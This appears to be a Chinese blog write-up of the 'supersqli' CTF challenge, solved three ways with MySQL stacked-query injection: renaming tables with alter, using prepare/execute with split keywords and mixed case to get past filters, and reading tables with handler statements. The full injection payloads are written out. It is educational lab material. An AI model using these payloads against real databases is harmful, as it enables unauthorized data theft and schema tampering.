攻防世界(六)supersqli
攻防世界系列:supersqli
方法一:
用逗号包裹回显正常,说明存在注入
1';--+(注释符也可用 -- 或 # 发现均未被过滤!)

有order by 语句可知表由2个字段,使用联合查询 (想看看当前所在的数据库)。结果发现关键字select被过滤了
-1' union select 1,database();--+

想到堆叠注入,发现可以。查看所有库
-1';show databases;--+

查看所有表
-1';show tables;--+

查看表words里的字段
-1';show columns from words;--+

查看表 `1919810931114514`
-1';show columns from `1919810931114514`;--+
注意:以纯数字命名的表,操作时要加上反引号。

至此可知flag就在这个数字表中,如何取出它呢?
分析:supersqli中两个表
words表,两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100)。
数字表,只有一个字段。且已知存的为flag
可以确定默认查询的表为words,我们使用rename、alter把flag所在的数字表修改为默认查询的表。
具体做法:
words名改为word123 alter table words rename to words123;
把数字表名改为 words alter table `1919810931114514` rename to words;
现在的words表中没有id字段,我们把flag字段名改为id alter table words change flag id varchar(100);
最终构造语句:
1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+

构造:
1'or 1=1--+

方法二:
Mysql的预编译,绕过select的过滤
什么是预编译?
参考:https://www.cnblogs.com/micrari/p/7112781.html
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
- 词法和语义解析
- 优化sql语句,制定执行计划
- 执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。
例如:
编译
我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句
mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
执行
我们通过 EXECUTE stmt_name [USING @var_name [, @var_name] ...] 的语法来执行预编译语句
mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)
mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> select * from t;
+------+-------+
| a | b |
+------+-------+
| 999 | hello |
+------+-------+
1 row in set (0.00 sec)
可以看到,数据已经被成功插入表中。
具体做法:
编译
set @sql = concat('sele','ct * from `1919810931114514`;');
prepare stm from @sql;
执行
execute stm;--+
最终构造语句:
set @sql = concat('sele','ct * from `1919810931114514`;');prepare stm from @sql;execute stm;--+

strstr对关键字set 和prepare进行了过滤,但他不区分大小写,我们可以绕过
1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;--+

方法三:
rename和alter如果被禁了,还可以用这个
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+
(用于在知道表的情况下,部分关键字被禁止的情况下,用handler直接读取表内容。)

攻防世界(六)supersqli的更多相关文章
- 攻防世界web新手区做题记录
学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- 攻防世界 WriteUp
附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...
- 攻防世界-MISC:pure_color
这是攻防世界高手进阶区的第六题,题目如下: 点击下载附件一,得到一张空白的png图片 用StegSolve打开,然后点击箭头(如下图所示) 多点击几次,即可得到flag 所以,这道题的flag如下: ...
- 攻防世界-MISC:坚持60s
这是攻防世界新手练习区的第六题,题目如下: 点击附件1下载,是一个java文件,点击运行一下: 绿帽子满天飞不知道是怎么回事(还是老老实实去看WP吧),WP说这是编译过的Java代码,但我手里没有反编 ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
随机推荐
- 使用Gensim库对文本进行词袋、TF-IDF和n-gram方法向量化处理
Gensim库简介 机器学习算法需要使用向量化后的数据进行预测,对于文本数据来说,因为算法执行的是关于矩形的数学运算,这意味着我们必须将字符串转换为向量.从数学的角度看,向量是具有大小和方向的几何对象 ...
- CSS 常用样式 – 背景属性
一.背景颜色 background-color 属性名:background-color 作用:在盒子区域添加背景颜色的修饰 加载区域:在 border 及以内加载背景颜色 属性值:颜色名.颜色值 & ...
- SqlServer存储过程应用二:分页查询数据并动态拼接where条件
前言 开发中查询功能是贯穿全文的,我们来盘一盘使用存储过程分页查询,并且支持动态拼接where条件. 划重点:支持动态拼接where条件 对存储过程的使用有疑问的同学去[SqlServer存储过程的创 ...
- leetcode 刷题(数组篇)1题 两数之和(哈希表)
题目描述 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 的那 两个 整数,并返回它们的数组下标. 你可以假设每种输入只会对应一个答案.但是,数组中同一个元 ...
- Leedcode算法专题训练(分治法)
归并排序就是一个用分治法的经典例子,这里我用它来举例描述一下上面的步骤: 1.归并排序首先把原问题拆分成2个规模更小的子问题. 2.递归地求解子问题,当子问题规模足够小时,可以一下子解决它.在这个例子 ...
- 手写Spring DI依赖注入,嘿,你的益达!
目录 提前实例化单例Bean DI分析 DI的实现 构造参数依赖 一:定义分析 二:定义一个类BeanReference 三:BeanDefinition接口及其实现类 四:DefaultBeanFa ...
- C语言小知识(基于Linux)——个人笔记,不定时更新
一.switch case语法,在case中定义变量时,需要在case的有效范围内使用花括号包起来,否则会编译报错: switch (name){ case "zhangSan": ...
- Day09_47_Map
Map 集合 Map集合** 继承关系** <interface>: Map(接口)<---HashMap(class)/HashTable(class)/SortedMap(子接口 ...
- hdu1316 水大数
题意: 给你一个区间,问这个区间有多少个斐波那契数. 思路: 水的大数,可以直接模拟,要是懒可以用JAVA,我模拟的,打表打到1000个就足够用了... #include<s ...
- POJ2226 不错的最小顶点覆盖
题意: 给你一个n * m 的矩阵,上面有" * " 和 " . " ,让你用少的木板吧所有" * "覆盖,木板宽度是1,长度 ...